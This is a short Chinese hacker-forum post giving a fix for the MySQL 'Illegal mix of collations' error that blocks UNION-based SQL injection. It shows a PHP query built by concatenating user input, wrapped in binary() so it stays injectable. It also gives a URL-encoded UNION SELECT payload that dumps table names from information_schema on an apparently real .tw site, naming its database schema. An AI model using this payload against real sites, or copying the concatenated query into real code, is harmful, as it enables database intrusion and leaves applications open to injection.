MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法

[复制链接]
发表于 2019-1-7 20:35:08 | 显示全部楼层 |阅读模式
Illegal mix of collations for operation 'UNION'

修改sql语句为如下格式
    $sql="select * from {$tablepre}members where nickname='".$nickname."'";    修改为
    $sql="select * from {$tablepre}members where nickname=binary('".$nickname."')";   

http://www.xxx.tw/page.php?menu_ ... ion%20select%20null,null,binary(table_name),null,null,null,null%20from%20information_schema.tables%20where%20table_schema=%27mooneor1_hofeng168%27%20limit%200,1
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表